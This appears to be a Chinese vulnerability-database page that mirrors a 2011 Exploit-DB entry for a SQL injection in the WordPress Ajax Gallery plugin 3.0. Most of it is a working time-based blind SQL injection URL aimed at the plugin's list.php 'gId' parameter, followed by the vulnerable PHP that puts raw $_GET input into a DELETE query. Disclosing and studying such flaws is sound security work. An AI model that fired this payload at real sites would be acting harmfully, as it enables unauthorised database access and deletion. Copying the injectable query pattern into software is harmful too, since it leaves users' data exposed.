WordPress Plugin Ajax Gallery 3.0 - SQL Injection

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1062924 漏洞类型
发布时间 2011-08-18 更新时间 2011-08-18
CVE编号 N/A CNNVD-ID N/A
漏洞平台 PHP CVSS评分 N/A
|漏洞来源
https://www.exploit-db.com/exploits/17686
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
# Exploit Title: WordPress Ajax Gallery plugin <= 3.0 SQL Injection Vulnerability
# Date: 2011-08-18
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
# Software Link: http://downloads.wordpress.org/plugin/ajaxgallery.3.0.zip
# Version: 3.0 (tested)

---
PoC
---
http://www.site.com/wp-content/plugins/ajaxgallery/utils/list.php?delete=1&gId=-1 AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)

---------------
Vulnerable code
---------------
if( isset( $_GET[ 'delete' ]) && isset( $_GET['gId'] ) ){
  $wpdb->query( "DELETE FROM $wpdb->options WHERE option_name='agItem' and option_id=".$_GET['gId'] );
  echo "<div id='message' class='updated fade'><p><strong>Galeria eliminada</strong></p></div>";
}